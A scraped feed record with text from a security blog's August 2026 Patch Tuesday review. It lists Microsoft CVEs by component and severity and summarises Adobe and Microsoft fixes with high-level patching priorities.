Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-59137\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61347\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61360\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65662\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62709\n  Windows GDI+\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62702\n  Windows Graphics\n  Kernel Denial of Service Vulnerability\n  Important\n  6.8\n  No\n  No\n  DoS\n \n \n  CVE-2026-61346\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62774\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61928\n  Windows Hello\n  Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-62750\n  Windows HTTP Protocol\n  Stack Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61937\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62735\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62739\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62741\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62753\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62811\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61368\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  Info\n \n \n  CVE-2026-62740\n  Windows Imaging\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54984\n  Windows Imaging\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59127\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61925\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61938\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62768\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65774\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70344\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70345\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70346\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70347\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65681\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-65796\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-65679\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62752\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62754\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62766\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62773\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61929\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61930\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62708\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-62737\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62749\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62780\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62788\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65773\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62785\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62795\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62777\n  Windows License\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50472\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62738\n  Windows Management\n  Instrumentation Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70348\n  Windows Management\n  Services Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62717\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62719\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65790\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62688\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62693\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62707\n  Windows Modern Device\n  Management (MDM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56174\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61366\n  Windows Network\n  Connection Broker Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-68819\n  Windows Network File\n  System Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-62700\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62797\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62880\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61350\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62793\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62796\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62887\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65784\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68821\n  Windows Package\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62696\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62751\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62690\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62758\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62783\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61918\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61921\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61924\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61356\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61364\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61365\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61367\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62692\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62779\n  Windows Schannel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62757\n  Windows Schannel\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-61355\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62770\n  Windows Shell\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62799\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62782\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65794\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62790\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62800\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61359\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62695\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59132\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62792\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59122\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61353\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62701\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62723\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62724\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62725\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62726\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62729\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62732\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62734\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62748\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62699\n  Windows Universal Disk\n  Format File System Driver (UDFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61926\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62721\n  Windows User-Mode\n  Power Service (UMPS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62711\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62712\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62733\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62876\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62877\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62885\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65678\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65775\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65776\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62730\n  Windows Wired\n  AutoConfig Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61349\n  Windows Work Folder\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61939\n  Winlogon Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56179\n  Windows\n  Network Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \nAs with last month, I\u2019ll do my best to summarize everything else in this release, but assume there are details I miss that are relevant to your environment.\nLooking at the remaining Critical-rated patches, you are safe to ignore the scariest looking ones, including the CVSS 10\u2019s. These have already been mitigated by Microsoft and do not count towards today\u2019s total of 398. The iSCSI Target service, however, is a CVSS 9.8, but it\u2019s not installed by default. Microsoft notes a DHCP Server heap overflow and a SharePoint deserialization bug are both listed as \u201cexploitation more likely\u201d. That SharePoint bug brought two EoP siblings along for the ride. And what would a Patch Tuesday be without Preview Pane exploit vectors in Office components? There are many in August, although there are a few Office bugs listed as Critical but without the Preview Pane vector. Odd. Then there\u2019s the mid-tier pile no one is proud of, but everybody needs to patch anyway: AD CS, RRAS, SSTP, and a matched pair in Device Health Attestation, all leaning on higher attack complexity as their only saving grace. Consider this a coin flip, not a shield. The bug in RMCAST is unauthenticated but requires an adjacent attacker. The bug in Key Guard is a bit interesting, as it could lead to an attacker gaining Virtual Trust Level 1 (VTL1) privileges. The final Critical-rated bug is in the RDP client, but it requires a user to connect to a malicious RDP server.\nMoving on to the other code execution bugs, SharePoint alone accounts for seven of these, six of them the same deserialization-of-untrusted-data flaw repeated almost verbatim across different code paths, all needing only low-privilege auth and no interaction. The seventh is an input-validation miss that needs no auth at all, just a harder-to-pull-off attack chain. LDAP and SMBv3 each draw a matching pair of patches. The LDAP bugs are a heap overflow and a use-after-free, both needing a user to interact with something first; the SMBv3 pair is twin heap overflows. Visual Studio Code adds three of its own: missing authorization, OS command injection, and straight code injection, all requiring a user to open or run something. The AI-coding-tool-vuln-of-the-month tradition continues uninterrupted. The rest of the CVSS 8.1\u20138.8 tier is a grab bag with a common thread \u2014 LSASS and Exchange Server both go down to heap overflows with low-privilege access, Dynamics 365 On-Premises gets the SharePoint treatment (deserialization), and Active Directory Domain Services picks up a command-injection bug that needs a user's cooperation. Add one apiece for Teams, Power BI, Outlook, and a pair for Windows Media Foundation, plus a higher-complexity trio: RPC Runtime Library, Windows TCP/IP, and a second iSCSI Target Service bug. All needing unusual attack conditions to line up, which buys you a little time but not an excuse. Then the file-format mountain: seventeen Excel bugs, six in Access, four apiece in Office and Office Word, one plain Word, one PowerPoint, one .NET Core. Remote Desktop Client's other three bugs sit at a comparatively modest 7.5, but don't read too much comfort into that \u2014 all three need high attack complexity and user interaction, which is precisely the combination phishing campaigns are built to satisfy. Closing out RCE category, there are two more DNS Server bugs, a DHCP Client use-after-free needing local low-privilege access, a Universal Disk Format driver bug that requires physical media and a Windows Codecs Library.\nThere are nearly 180 privilege escalation bugs fixed this month, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. Believe it or not, that leaves only about 20 bugs to discuss. Access control keeps failing in the same places: SharePoint draws two EoPs, then contributes a third via server-side request forgery, and a fourth through cross-site scripting (XSS) that at least needs a user to click something first. Entra Connect adds a SQL injection, .NET Framework an incorrect-authorization bug, and Azure CycleCloud adds a missing-authorization flaw, That\u2019s five different products with the same underlying lesson about checking who\u2019s allowed to do what. Windows Telephony Service is the surprise repeat offender, landing four separate EoPs, but four bugs in one dusty legacy service in a single release is the kind of pattern that makes you wonder who's still dialing in. The rest is a genuine grab bag: Key Guard gets a heap overflow sitting on the trust chain below the OS, DHCP Client and Narrator Braille both fall to local low-privilege bugs, .NET picks up an uncaught exception that actually changes scope, .NET Framework adds a path-traversal bug requiring a click, GitHub Copilot and VS Code get an OS command injection needing the same, Azure Storage Explorer falls to XSS, Azure Monitor Agent and OneDrive for macOS both need high privileges just to start, which caps their real-world urgency, and Exchange Server closes it out with an SSRF bug whose blast radius Microsoft itself rates as confidentiality-only, no integrity or availability hit.\nThere are 11 SFB bugs this month, all Important, none exploited or publicly disclosed. Visual Studio Code accounts for four, Python extension included: one fails open outright, the other three trip on bad authorization checks \u2014 all need a click, which is a low bar in a tool people click through constantly. PowerShell adds a code-injection bypass, and Copilot Chat gets one as well. Exchange Server and Windows Defender Firewall Service both via have missing authorization bugs. The .NET service has a bug via HTTP request smuggling, Active Directory via weak encryption, and Schannel via bad signature verification. In the low individual urgency category, both Schannel and AD have bugs with  \u201cbroken crypto trust\u201d are worth a second look despite the low scores.\nLooking at the info disclosure bugs, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. There are few others of note. The CVSS 6.5 tier is the one with more bite: Windows DHCP Server alone accounts for eight of these, three more hit Remote Desktop Client, two hit SMB Client, two hit Excel, and singles land in PowerShell, .NET, Azure CycleCloud, two Dynamics products, SharePoint, Teams iOS, and VS Code. All are unauthenticated, network-reachable memory leaks, but DHCP Server picking up eight in one release is a pattern, not noise. Everything else sits at 5.5 or below and is almost entirely \"leaks unspecified memory contents,\" differing mainly by which component leaks it. Office file formats dominate with roughly twenty bugs split across Excel, Word, Office generically, Office Graphics, and PowerPoint. Win32k contributes four, NTFS five, GDI/GDI+ three, Event Logging and WMI two apiece, DWM Core two, AMD Zen two. The remaining singles clear out fine during a normal patch cycle without special urgency.\nMoving on to spoofing patches for August, SharePoint dominates with eleven bugs, mostly stored XSS letting an authenticated attacker spoof content, plus a mixed bag of deserialization, code injection, SSRF, and credential exposure at the low end. Outside SharePoint, Teams for Android/iOS gets a high-CVSS (8.8) XSS bug. Exchange Server gets one too. Windows NAT has a scope-changing origin-validation flaw reachable from an adjacent network, and Outlook closes it out with a credential-exposure spoofing bug.\nThere are 14 DoS bugs getting patched this month. NULL pointer dereferences dominate: TCP/IP, iSCSI Target Service, Windows Graphics Kernel, and Remote Registry Service (twice) all crash the same way, unauthenticated over the network. iSCSI Target Service adds a second DoS via heap overflow, with three hits total this release counting its RCE. Resource-exhaustion bugs cover .NET, RPC, DHCP Client, and Microsoft Identity - all unauthenticated, all just flood-and-crash. The rest need local or elevated access: Exchange Server, Windows Network File System, and path/link-resolution bug in Windows Management Services. In other words, nothing exotic. Just patch it in the normal cycle, with a nod to Remote Registry Service and iSCSI Target Service for repeat appearances.\nFinally, there are a handful of tampering bugs receiving patches this month. They start with SharePoint via incorrect authorization. The Windows HTTP Protocol Stack has a bug via a partial string comparison flaw reachable from an adjacent network, and Windows Hello via cleartext storage of sensitive data locally. The Hello one is the one worth a second glance. Biometric auth storing something in the clear isn't a great look, even at a modest 5.5.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on September 8, just after Labor Day here is the US. I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-08-12T01:01:22.885042Z"}, {"uuid": "bf8c0bb7-61c2-44fc-b5f5-ef8921ff1cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54981", "type": "seen", "source": "https://www.thezdi.com/blog/2026/8/11/the-august-2026-security-update-review", "content": "I\u2019ve successfully survived Hacker Summer Camp, and I have returned with a new outlook on patch density. When even Linus Torvalds says that huge updates are the \u201cnew normal\u201d, it\u2019s time to readjust what we consider a true bug apocalypse. This month\u2019s release is thankfully smaller than last months, but still huge by historical standards. Take a break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for August 2026\nFor the first part of the August release, Adobe released five bulletins addressing 51 unique CVEs in Adobe ColdFusion, Commerce, Lightroom Classic, Content Credentials SDK, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\nAdobe Patches for August 2026\n\n\n\n  \nAdobe Patches for August 2026\n  \n\n    \n      \n        Bulletin ID\n        Product\n        CVE Count\n        Highest Severity\n        Highest CVSS\n        Exploited\n        Deployment Priority\n      \n    \n    \n      \n        APSB26-90\n        Adobe ColdFusion\n        15\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-123\n        Adobe Campaign Classic\n        3\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-92\n        Adobe Commerce\n        7\n        Critical\n        9.1\n        No\n        2\n      \n      \n        APSB26-94\n        Adobe Lightroom Classic\n        11\n        Critical\n        8.6\n        No\n        3\n      \n      \n        APSB26-111\n        Content Credentials SDK\n        15\n        Critical\n        7.5\n        No\n        3\n      \n      \n        TOTAL\n        5 bulletins\n        51\n        \n        \n        \n        \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nIf you\u2019re running Campaign Classic, that\u2019s your priority. Not only is it a deployment priority of 1, but it also contains two different CVSS 10 bugs and supersedes the patch that was just released on August 3. ColdFusion is also deployment priority 1 and also contains a CVSS 10 bug. Adobe Commerce rates a priority 2 with code execution bugs as high as CVSS 9.1. The patches for Lightroom Classic and Content Credentials SDK are packed with CVEs, but only rate a deployment priority of 3.\nNone of the Adobe bugs receiving patches this month are listed as publicly known or under active attack at the time of release.\nMicrosoft Patches for August 2026\nThere are a couple of things to point out right at the beginning. Again, counting is difficult due to the size, but I see 398 new CVEs to go along with the other updates documented this month. However, there is only one listed being under active attack, so we\u2019ve got that going for us, which is nice. The release impacts Windows and Windows components, Office and Office Components, AMD Zen, Azure and Azure Components, GitHub Copilot, Windows Defender, Exchange Server, SharePoint, OneDrive for macOS, Teams, Power BI, .NET and Visual Studio, DHCP Server and Client, DNS Server, and Windows TPM. Minecraft is absent from this release.  All told, there are 62 rated Critical, one rated Moderate, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program.\nThis volume of updates indeed seems to be the new normal \u2013 at least for now. What is interesting is that, while there is an explosion of bugs being reported (and fixed), there has been no equivalent increase in the number of bugs being actively exploited, at least as 0-days.\nAgain, we\u2019ll start with the bug under active attack and move on from there. \n-              CVE-2026-68820 - Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityThis bug allows attackers to execute code at SYSTEM level. Bugs of this type are often paired with code execution bugs to take over a system, often through phishing or ransomware. One nitpick here: Microsoft lists the Exploit Code Maturity in the CVSS as \u201cUnproven\u201d but calls this out as actively exploited. Somewhere, that math ain\u2019t mathing.\n-              CVE-2026-62878 - Windows DNS Server Remote Code Execution VulnerabilityThere are several DNS-related patches this month, but this one stands out by far. It allows a remote, unauthenticated attacker to execute code with elevated privileges without user interaction. It\u2019s a good ol\u2019 fashioned stack-based buffer overflow that ends up wormable. Microsoft states exploitation is less likely, but I wouldn\u2019t count on that. I suggest testing and deploying this one quickly, especially to your Internet-facing DNS servers.\n -              CVE-2026-62893 - Windows Deployment Services TFTP Server Remote Code Execution VulnerabilityThis bug came through the ZDI program and allows for code execution without user authentication or user interaction. TFTP has no auth mechanism and is available remotely vid UDP port 69. Any WDS server serving Windows Imaging Format (WIM) files via TFTP (the standard PXE boot scenario) is vulnerable. The issue results from the lack of validating the existence of an object prior to performing operations on the object. UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you\u2019re using WDS for deployments in your enterprise.\n -              CVE-2026-62815 - Microsoft QUIC Remote Code Execution VulnerabilityHere we have another remote, unauthenticated code execution bug that doesn\u2019t require user interaction. This one is in the QUIC component. If you aren\u2019t familiar with it, QUIC is an IETF-standardized transport protocol that runs over UDP instead of TCP, and it's the foundation for HTTP/3. Roughly 13.5 million websites rely on it. If you are one of those millions, test and deploy this patch rapidly.\n -              CVE-2026-59124 - Microsoft High Performance Computing (HPC) Pack Remote Code Execution VulnerabilityDon\u2019t let the Important severity rating fool you; this is still a CVSS 9.8 bug. It gets knocked down since HPC isn\u2019t on by default. However, it\u2019s a hugely growing segment, and this is another remote, unauthenticated code execution bug that does not require user interaction. It might not be applicable to everyone, but if you\u2019re using HPC in your environment, this is not one to sleep on, especially since Microsoft lists this as \u201cexploitation more likely\u201d.\n -              CVE-2026-62911 - Microsoft Exchange Server Elevation of Privilege VulnerabilityThere are several Exchange bugs in this release, but this one really stands out. It could allow a privilege escalation via an authentication bypass. If successful, an attacker could \u201ctake over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments.\u201d This bug was one of the ones demonstrated at Pwn2Own Berlin, so ignore Microsoft\u2019s exploitability and Exploit Code Maturity ratings. We handed them working exploits, so this is a real threat. As always, test out those Exchange updates before deploying, but don\u2019t hurry up and schedule that downtime for your upgrade. \nHere\u2019s the full list of CVEs released by Microsoft for August 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    